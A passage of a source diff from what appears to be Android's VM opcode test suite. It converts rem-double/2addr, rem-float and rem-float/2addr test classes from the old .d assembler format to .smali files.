+.source "T_rem_double_2addr_4.java"
+.class  public Ldot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)D
+.registers 14
+
+       rem-double/2addr v10, v12
+       return-wide v10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_5.d
deleted file mode 100644
index 92c22bf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_5.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_rem_double_2addr_5.java
-.class public dot.junit.opcodes.rem_double_2addr.d.T_rem_double_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       rem-double/2addr v9, v12
-       return-wide v9
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_5.smali
new file mode 100644
index 0000000..b981bb1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_5.smali
@@ -0,0 +1,18 @@
+.source "T_rem_double_2addr_5.java"
+.class  public Ldot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       rem-double/2addr v9, v12
+       return-wide v9
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_6.d
deleted file mode 100644
index 7ea6104..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_6.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_rem_double_2addr_6.java
-.class public dot.junit.opcodes.rem_double_2addr.d.T_rem_double_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DI)D
-.limit regs 14
-
-       rem-double/2addr v11, v13
-       return-wide v11
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_6.smali
new file mode 100644
index 0000000..8a0b0e2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_6.smali
@@ -0,0 +1,18 @@
+.source "T_rem_double_2addr_6.java"
+.class  public Ldot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)D
+.registers 14
+
+       rem-double/2addr v11, v13
+       return-wide v11
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_1.d
deleted file mode 100644
index a4edaea..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_float_1.java
-.class public dot.junit.opcodes.rem_float.d.T_rem_float_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       rem-float v0, v6, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_1.smali
new file mode 100644
index 0000000..6d9771a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_1.java"
+.class  public Ldot/junit/opcodes/rem_float/d/T_rem_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       rem-float v0, v6, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_2.d
deleted file mode 100644
index 8ce3466..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_float_2.java
-.class public dot.junit.opcodes.rem_float.d.T_rem_float_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       rem-float v0, v7, v8
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_2.smali
new file mode 100644
index 0000000..e05ed7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_2.java"
+.class  public Ldot/junit/opcodes/rem_float/d/T_rem_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       rem-float v0, v7, v8
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_3.d
deleted file mode 100644
index e773a12..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_float_3.java
-.class public dot.junit.opcodes.rem_float.d.T_rem_float_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FD)F
-.limit regs 8
-
-       rem-float v0, v5, v6
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_3.smali
new file mode 100644
index 0000000..bede80f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_3.java"
+.class  public Ldot/junit/opcodes/rem_float/d/T_rem_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FD)F
+.registers 8
+
+       rem-float v0, v5, v6
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_4.d
deleted file mode 100644
index afde65c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_float_4.java
-.class public dot.junit.opcodes.rem_float.d.T_rem_float_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JF)F
-.limit regs 8
-
-       rem-float v0, v5, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_4.smali
new file mode 100644
index 0000000..7af59ad
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_4.java"
+.class  public Ldot/junit/opcodes/rem_float/d/T_rem_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JF)F
+.registers 8
+
+       rem-float v0, v5, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_5.d
deleted file mode 100644
index 23740bf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_float_5.java
-.class public dot.junit.opcodes.rem_float.d.T_rem_float_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       rem-float v0, v5, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_5.smali
new file mode 100644
index 0000000..6b24746
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_5.java"
+.class  public Ldot/junit/opcodes/rem_float/d/T_rem_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       rem-float v0, v5, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_6.d
deleted file mode 100644
index 83ac469..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_float_6.java
-.class public dot.junit.opcodes.rem_float.d.T_rem_float_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)F
-.limit regs 8
-
-       rem-float v0, v6, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_6.smali
new file mode 100644
index 0000000..af6eab6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_6.java"
+.class  public Ldot/junit/opcodes/rem_float/d/T_rem_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)F
+.registers 8
+
+       rem-float v0, v6, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_1.d
deleted file mode 100644
index a5571e5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_float_2addr_1.java
-.class public dot.junit.opcodes.rem_float_2addr.d.T_rem_float_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       rem-float/2addr v6, v7
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_1.smali
new file mode 100644
index 0000000..99c5070
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_2addr_1.java"
+.class  public Ldot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       rem-float/2addr v6, v7
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_2.d
deleted file mode 100644
index aef48cb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_float_2addr_2.java
-.class public dot.junit.opcodes.rem_float_2addr.d.T_rem_float_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       rem-float/2addr v6, v8
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_2.smali
new file mode 100644
index 0000000..d3f9bf8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_2addr_2.java"
+.class  public Ldot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       rem-float/2addr v6, v8
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_3.d
deleted file mode 100644
index 294652e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_float_2addr_3.java
-.class public dot.junit.opcodes.rem_float_2addr.d.T_rem_float_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FD)F
-.limit regs 8
-
-       rem-float/2addr v5, v6
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_3.smali
new file mode 100644
index 0000000..89fefab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_2addr_3.java"
+.class  public Ldot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FD)F
+.registers 8
+
+       rem-float/2addr v5, v6
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_4.d
deleted file mode 100644
index 4c5f1f5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_float_2addr_4.java
-.class public dot.junit.opcodes.rem_float_2addr.d.T_rem_float_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JF)F
-.limit regs 8
-
-       rem-float/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_4.smali
new file mode 100644
index 0000000..badbd80
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_2addr_4.java"
+.class  public Ldot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JF)F
+.registers 8
+
+       rem-float/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_5.d
deleted file mode 100644
index 44c82c2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_float_2addr_5.java
-.class public dot.junit.opcodes.rem_float_2addr.d.T_rem_float_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       rem-float/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_5.smali
new file mode 100644
index 0000000..b63675c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
